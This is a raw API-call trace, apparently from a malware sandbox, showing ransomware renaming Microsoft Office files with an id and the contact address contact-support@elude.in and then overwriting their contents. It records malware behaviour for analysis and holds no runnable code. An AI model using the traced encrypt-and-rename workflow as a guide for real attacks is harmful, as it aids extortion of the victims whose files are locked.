lpBuffer=0x6a5407*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a5407*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0147.171] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.171] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0147.171] CloseHandle (hObject=0x6a4) returned 1 [0147.171] GetProcessHeap () returned 0x630000 [0147.171] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a53a8 | out: hHeap=0x630000) returned 1 [0147.171] GetProcessHeap () returned 0x630000 [0147.171] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a5288 | out: hHeap=0x630000) returned 1 [0147.171] GetProcessHeap () returned 0x630000 [0147.171] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0147.172] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa2f6cec, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa2f6cec, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1dabc3fb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x96, dwReserved0=0x6c3fd20, dwReserved1=0x6a5288, cFileName="LYNC_BASIC_F_COL.HXK.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_B~2.FIR")) returned 0x6d4ec0 [0147.172] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0147.172] Sleep (dwMilliseconds=0x1) [0147.215] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT", len=0x47 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT") returned 1 [0147.215] GetProcessHeap () returned 0x630000 [0147.215] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x2698) returned 0x71f7c78 [0147.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0147.216] CloseHandle (hObject=0x6e0) returned 1 [0147.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0147.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0147.217] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x9b8364e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC_BASIC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_B~3.FIR")) returned 0x6d4ec0 [0147.217] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0147.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync_basic_col.hxt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e0 [0147.217] GetProcessHeap () returned 0x630000 [0147.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x7182b8 [0147.217] GetProcessHeap () returned 0x630000 [0147.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xe1) returned 0x717c28 [0147.217] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.217] ReadFile (in: hFile=0x6e0, lpBuffer=0x7182b8, nNumberOfBytesToRead=0xc0, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7182b8*, lpNumberOfBytesRead=0x6c3ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0147.219] GetProcessHeap () returned 0x630000 [0147.219] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0147.219] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.219] WriteFile (in: hFile=0x6e0, lpBuffer=0x717c28*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717c28*, lpNumberOfBytesWritten=0x6c3ff0c*=0xc0, lpOverlapped=0x0) returned 1 [0147.219] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.219] WriteFile (in: hFile=0x6e0, lpBuffer=0x717ce7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717ce7*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0147.219] SetFilePointerEx (in: hFile=0x6e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.219] WriteFile (in: hFile=0x6e0, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0147.219] CloseHandle (hObject=0x6e0) returned 1 [0147.219] GetProcessHeap () returned 0x630000 [0147.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717c28 | out: hHeap=0x630000) returned 1 [0147.220] GetProcessHeap () returned 0x630000 [0147.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7182b8 | out: hHeap=0x630000) returned 1 [0147.220] GetProcessHeap () returned 0x630000 [0147.220] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0147.220] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0147.220] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC_BASIC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x9b5d49a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x9b5d49a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1db2eb8e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf6, dwReserved0=0x6c3fd20, dwReserved1=0x7182b8, cFileName="LYNC_BASIC_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNC_B~3.FIR")) returned 0x6d5340 [0147.220] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0147.220] Sleep (dwMilliseconds=0x1) [0147.268] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS", len=0x3d | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS") returned 1 [0147.268] GetProcessHeap () returned 0x630000 [0147.268] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x268c) returned 0x71f7c78 [0147.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0147.270] CloseHandle (hObject=0x6c8) returned 1 [0147.270] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0147.270] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0149.012] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0149.012] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x9ac4a8a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x228fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LYNC.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNCHX~1.FIR")) returned 0x6d5280 [0149.012] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0149.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\lync.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0149.012] GetProcessHeap () returned 0x630000 [0149.012] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f547f0 [0149.013] GetProcessHeap () returned 0x630000 [0149.013] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f5fc20 [0149.013] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0149.013] ReadFile (in: hFile=0x6c8, lpBuffer=0x6f547f0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f547f0*, lpNumberOfBytesRead=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0155.907] GetProcessHeap () returned 0x630000 [0155.907] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71771a0 [0155.907] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.907] WriteFile (in: hFile=0x6c8, lpBuffer=0x6f5fc20*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f5fc20*, lpNumberOfBytesWritten=0x6c3ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0155.907] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.907] WriteFile (in: hFile=0x6c8, lpBuffer=0x6f6b01f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f6b01f*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0158.084] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.084] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0158.084] CloseHandle (hObject=0x6c8) returned 1 [0158.084] GetProcessHeap () returned 0x630000 [0158.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f5fc20 | out: hHeap=0x630000) returned 1 [0158.084] GetProcessHeap () returned 0x630000 [0158.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f547f0 | out: hHeap=0x630000) returned 1 [0158.084] GetProcessHeap () returned 0x630000 [0158.084] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71771a0 | out: hHeap=0x630000) returned 1 [0158.084] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0158.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\LYNC.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf12dd5ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x242c4b42, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2291e, dwReserved0=0x9ec7496, dwReserved1=0x6f547e8, cFileName="LYNC.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LYNCHX~1.FIR")) returned 0x6d52c0 [0158.085] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0158.085] Sleep (dwMilliseconds=0x1) [0161.384] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml", len=0x66 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml") returned 1 [0161.384] GetProcessHeap () returned 0x630000 [0161.384] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2bc0) returned 0x707d3d0 [0161.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0161.385] CloseHandle (hObject=0x710) returned 1 [0161.385] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0161.385] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0161.386] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.386] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11c6, dwReserved0=0x2d0074, dwReserved1=0x750073, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d5400 [0161.386] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0161.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\pl\\localizedstrings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0161.386] GetProcessHeap () returned 0x630000 [0161.386] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e1) returned 0x722a78 [0161.386] GetProcessHeap () returned 0x630000 [0161.386] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e1) returned 0x72369e8 [0161.386] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.386] ReadFile (in: hFile=0x710, lpBuffer=0x722a78, nNumberOfBytesToRead=0x11c0, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x722a78*, lpNumberOfBytesRead=0x6c3ff0c*=0x11c0, lpOverlapped=0x0) returned 1 [0161.417] GetProcessHeap () returned 0x630000 [0161.417] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176d40 [0161.417] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.417] WriteFile (in: hFile=0x710, lpBuffer=0x72369e8*, nNumberOfBytesToWrite=0x11c0, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72369e8*, lpNumberOfBytesWritten=0x6c3ff0c*=0x11c0, lpOverlapped=0x0) returned 1 [0161.417] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.417] WriteFile (in: hFile=0x710, lpBuffer=0x7237ba7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7237ba7*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0161.417] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.417] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0161.418] CloseHandle (hObject=0x710) returned 1 [0161.418] GetProcessHeap () returned 0x630000 [0161.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72369e8 | out: hHeap=0x630000) returned 1 [0161.418] GetProcessHeap () returned 0x630000 [0161.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x722a78 | out: hHeap=0x630000) returned 1 [0161.418] GetProcessHeap () returned 0x630000 [0161.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176d40 | out: hHeap=0x630000) returned 1 [0161.418] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0161.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167cf4d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x262821ac, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11ea, dwReserved0=0x9ec7496, dwReserved1=0x722a70, cFileName="LocalizedStrings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4e40 [0161.418] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0161.418] Sleep (dwMilliseconds=0x1) [0163.630] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\PowerPivotExcelClientAddIn.rll", len=0x7c | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\PowerPivotExcelClientAddIn.rll") returned 1 [0163.630] GetProcessHeap () returned 0x630000 [0163.630] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2c28) returned 0x707d3d0 [0163.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1062\\powerpivotexcelclientaddin.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0165.390] CloseHandle (hObject=0x714) returned 1 [0165.390] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0165.390] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\PowerPivotExcelClientAddIn.rll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1062\\powerpivotexcelclientaddin.rll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\resources\\1062\\powerpivotexcelclientaddin.rll.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0168.231] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0168.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1062\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112c0, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5400 [0168.231] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0168.231] CreateFileW 